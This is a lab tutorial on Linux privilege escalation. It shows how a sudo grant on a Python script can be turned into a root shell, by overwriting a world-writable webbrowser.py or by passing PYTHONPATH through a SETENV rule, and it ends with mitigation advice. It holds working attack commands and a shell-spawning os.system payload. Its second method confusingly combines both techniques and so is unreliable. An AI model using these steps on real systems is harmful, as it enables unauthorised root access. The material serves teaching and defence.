Privilege Escalation

Linux Privilege Escalation: Python Library Hijacking

This article walks through two end-to-end attack chains against a single Python script that calls import webbrowser. The first method exploits a writable copy of webbrowser.py in the Python library directory, achieving root in a single overwrite. The second method abuses the lesser-known SETENV flag in sudoers, which permits the attacker to pass PYTHONPATH directly through sudo and redirect module resolution to an attacker-controlled directory. Both paths converge on the same outcome: a root shell on a host that, on paper, granted sudo on only one carefully chosen script.

Table of Contents

  • Introduction
  • Lab Environment
  • Creating the Lab User
  • Building the Vulnerable Python Script
  • Verifying the Script Works
  • The Misconfiguration: World-Writable Python Library
  • Granting NOPASSWD on the Script
  • Method 1: Hijacking the webbrowser Module
    • SSH Foothold and Enumeration
    • Locating and Rewriting the Module
  • Method 2: PYTHONPATH Hijacking via SETENV
    • Building a Second Vulnerable Script
    • Granting SETENV NOPASSWD
    • Confirming the Rule and Writable Module
  • Exploiting via PYTHONPATH
  • Mitigation Strategies
  • Conclusion

Introduction

Python’s module import system is one of the most powerful features of the language — and one of the most exploitable when it intersects with sudo. The interpreter resolves an import statement by walking a search path of directories until it finds a matching .py file, executing every line in that file the moment it is loaded. When an administrator grants NOPASSWD on a Python script that runs as root, the attacker does not need to touch the script itself: hijacking any module the script imports — by either rewriting the module’s source file on disk or redirecting the search path — yields arbitrary code execution as root.

Lab Environment

The lab consists of two virtual machines on the same private subnet. The attacker operates from a Kali Linux host, while the target is an Ubuntu 22.04 server at 192.168.1.5 running an SSH service on port 22. A deliberately low-privileged user named lowpriv represents the foothold any attacker typically obtains through phishing, credential stuffing, or web-application exploitation. Each scenario assumes the attacker holds only this credential and must elevate from there to root.

Creating the Lab User

The administrator creates the lowpriv account on the target with the adduser utility. The tool prompts for a password, builds a home directory at /home/lowpriv, and copies the default skeleton files from /etc/skel. The account holds no privileged group memberships at the time of creation, which gives a clean baseline for the attack chain that follows.

sudo adduser lowpriv

Building the Vulnerable Python Script

The administrator next stages a Python script that simulates a benign automation task — opening a URL in the default browser to verify network connectivity. The script lives under /opt/raj, owned by root, with mode 755 so that any user can read and execute it but only root can modify it.

sudo mkdir /opt/raj
cd /opt/raj
sudo nano hack.py
cat hack.py
sudo chmod 755 hack.py

The two-line script imports the webbrowser module from the Python standard library and calls its open() function on the Hacking Articles homepage. The harmless behaviour is intentional — the security boundary fails at the import statement, before the script’s own logic ever executes.

Verifying the Script Works

Running the script as the unprivileged pentest user opens Firefox to https://www.hackingarticles.in, confirming both the script’s correctness and the web browser module’s availability. From the administrator’s perspective, the setup is complete, and the operator now has a safe, single-purpose tool to run under sudo.

python3 hack.py

The Misconfiguration: World-Writable Python Library

The fatal mistake occurs out of band, often during a separate troubleshooting session. The administrator locates the system’s copy of webbrowser.py with locate, observes a permissions issue — real or imagined — and applies chmod 777 to the file, making it readable, writable, and executable by every account on the host. From this moment, any unprivileged user can rewrite the contents of webbrowser.py and have those contents executed by any process that imports the module.

locate webbrowser.py
ls -la /usr/lib/python3.10/webbrowser.py
sudo chmod 777 /usr/lib/python3.10/webbrowser.py
ls -la /usr/lib/python3.10/webbrowser.py

The before-and-after ls -la output confirms the change: the file moves from -rwxr-xr-x (root-only writable) to -rwxrwxrwx (world-writable). The misconfiguration is now seeded; only the sudoers rule remains to complete the attack chain.

Granting NOPASSWD on the Script

The administrator launches visudo to add the sudoers rule that authorises lowpriv to run the script as root.

sudo visudo

Reading /etc/sudoers back through cat reveals the new entry on the final line. The grant scopes lowpriv to a single command path: /usr/bin/python3.10 /opt/raj/hack.py, with NOPASSWD allowing execution without a password prompt. On paper the grant is exemplary — one binary, one script, one user, no wildcards.

sudo cat /etc/sudoers

The rule reads lowpriv ALL=(root) NOPASSWD: /usr/bin/python3.10 /opt/raj/hack.py. From an authorisation audit, the configuration looks indistinguishable from best practice. The vulnerability is two doors down — in the writable webbrowser.py the administrator forgot about — and the rule above is what turns that mistake into a root shell.

Method 1: Hijacking the webbrowser Module

With the lab fully staged, the attack chain runs in three steps: SSH in, read the script, and overwrite the module it imports.

SSH Foothold and Enumeration

The attacker SSHs into the target as lowpriv and immediately runs sudo -l. The output confirms the NOPASSWD rule on /usr/bin/python3.10 /opt/raj/hack.py. A quick cat /opt/raj/hack.py reveals that the script imports webbrowser — the single piece of information the attack needs.

ssh lowpriv@192.168.1.5
sudo -l
cat /opt/raj/hack.py

Locating and Rewriting the Module

The attacker locates the system copy of webbrowser.py, confirms it carries 777 permissions, then overwrites it with a two-line payload that imports os and spawns /bin/bash. Invoking the original hack.py via sudo causes Python to import the modified webbrowser module — which runs the payload as root before reaching the script’s own webbrowser.open() call. id confirms uid=0(root).

locate webbrowser.py

ls -la /usr/lib/python3.10/webbrowser.py

cd /usr/lib/python3.10

echo "" > webbrowser.py

nano webbrowser.py

cat webbrowser.py

sudo /usr/bin/python3.10 /opt/raj/hack.py

id

The two-line payload written into webbrowser.py:

import os
os.system("/bin/bash")

The chain is end-to-end deterministic: every time Python imports webbrowser, it executes the attacker’s code. A single misconfigured permission bit on a library file has converted a tightly scoped sudo grant into a full root shell — without modifying the script the administrator audited.

Method 2: PYTHONPATH Hijacking via SETENV

The second method demonstrates a subtler attack that pivots on a single dangerous qualifier in the sudoers rule. By adding SETENV to the directive, the administrator allows the user to pass arbitrary environment variables — including PYTHONPATH — through sudo. The attacker then steers Python’s module search path toward a directory they fully control.

Building a Second Vulnerable Script

The administrator stages a second script at /tmp/file.py, identical in structure to hack.py: a single import webbrowser followed by a call to webbrowser.open(). The script’s exact contents are irrelevant — only its import statement matters for the attack.

cd /tmp
nano file.py
cat file.py

Granting SETENV NOPASSWD

Inside visudo, the administrator replaces the previous rule with one that includes both NOPASSWD and SETENV qualifiers. The SETENV tag is the operative change — it overrides sudo’s default behaviour of stripping the calling user’s environment and instead passes any variable the user supplies on the command line.

The directive lowpriv ALL=(root) NOPASSWD:SETENV: /usr/bin/python3.10 /tmp/file.py looks routine, but the SETENV flag silently expands the attack surface from “one command” to “one command plus every environment variable that command consults at startup.” For a Python interpreter, the most consequential of those variables is PYTHONPATH.

Confirming the Rule and Writable Module

From the lowpriv shell, the attacker runs sudo -l and observes the SETENV qualifier in the rule output. A cat on /tmp/file.py confirms the webbrowser import, and a follow-up ls -la on the system webbrowser.py confirms its 777 permission bits remain in place from the earlier misconfiguration.

sudo -l
cat /tmp/file.py
locate webbrowser.py
ls -la /usr/lib/python3.10/webbrowser.py

Exploiting via PYTHONPATH

The attacker overwrites the system webbrowser.py with the same os.system payload used in Method 1, then invokes Python through sudo with PYTHONPATH=/tmp/ prepended. The PYTHONPATH variable instructs the interpreter to search /tmp/ for modules before the standard library, demonstrating exactly the kind of environment manipulation the SETENV flag enables. whoami confirms the resulting prompt belongs to root.

echo "" > /usr/lib/python3.10/webbrowser.py
cd /usr/lib/python3.10/
nano webbrowser.py
cat webbrowser.py 

sudo PYTHONPATH=/tmp/ /usr/bin/python3.10 /tmp/file.py whoami

The same outcome arrives through a different mechanism. The wider lesson is that SETENV is rarely necessary and almost always dangerous — for interpreters, it converts a single-command grant into an effectively unconstrained execution primitive, because every interpreter consult environment variables that change the code it loads.

Mitigation Strategies

Defenders neutralise both attack paths through a small set of disciplined controls focused on interpreter grants, library file permissions, and sudo environment handling.

  • Never grant NOPASSWD on a language interpreter, even via a script. A Python, Perl, Ruby, or shell-script grant inherits every module, library, and environment variable the interpreter resolves at runtime. Replace such grants with a compiled wrapper, a tightly scoped systemd unit, or a sudo rule pointing to a binary that drops privileges before doing real work.
  • Audit permissions on every standard-library directory. Files under /usr/lib/python*, /usr/lib/perl5, /usr/local/lib, and equivalent locations must be owned by root and carry no group- or world-writable bits. Deploy AIDE, Tripwire, or auditd file-watches to catch permission drift immediately.
  • Avoid SETENV in sudoers entries. SETENV bypasses sudo’s environment sanitisation and re-opens every interpreter-based privilege escalation primitive that sudo’s default behaviour was designed to close. If environment passthrough is genuinely required, use Defaults env_keep to whitelist specific variables rather than enabling SETENV across the board.
  • Pin sudo to specific absolute paths and exact arguments. Sudoers supports argument matching; restrict the rule to the exact script invocation including any required arguments and forbid any deviation through wildcard or environment manipulation.
  • Enable sudo I/O logging. Defaults log_input, log_output captures the entire session — including the PYTHONPATH prepended on the command line and the os.system call inside the imported module — making post-incident reconstruction straightforward.
  • Treat library hijacking as a file-integrity problem. Any change to a standard-library .py file is anomalous on a production host. EDR and auditd rules that alarm on writes to /usr/lib/python* under non-root parents catch this attack in flight.
  • Cross-reference every Python grant against GTFOBins. The Sudo-context entry for python documents the os.system shell-spawn primitive and several variants for argument-controlled scripts. A grant that survives a GTFOBins audit on the interpreter still fails on the imported modules — both layers must be inspected.

Conclusion

Granting sudo on a Python script feels like the safest possible compromise: a single binary, a single file, a single user, no shell, no wildcards. Yet the import statement is a hidden execution channel that bypasses every constraint the sudoers rule encodes. Two misconfigurations — a world-writable module file and a SETENV qualifier — were sufficient to deliver a root shell along two independent paths, neither of which required modifying the script the administrator carefully audited.

The defensive lesson is uncomfortable but precise: interpreters are not commands, they are environments. Granting sudo on an interpreter — even indirectly, through a script — extends the trust boundary to every file the interpreter loads and every environment variable it consults at startup. The only sound posture is to treat such grants as functionally equivalent to NOPASSWD on /bin/bash. When the underlying task is genuinely worth elevating, compile the script, freeze its dependencies, and grant sudo on the resulting binary; for everything else, leave the elevation behind a systemd unit and an authentication challenge. Convenience never survives contact with an attacker who has read sudo -l.

One thought on “Linux Privilege Escalation: Python Library Hijacking

  1. Heyy brother during sudo chmod 777 and during editing the /etc/sudoer file system is asking for password any idea or any other way to get the privelages??

Leave a Reply

Your email address will not be published. Required fields are marked *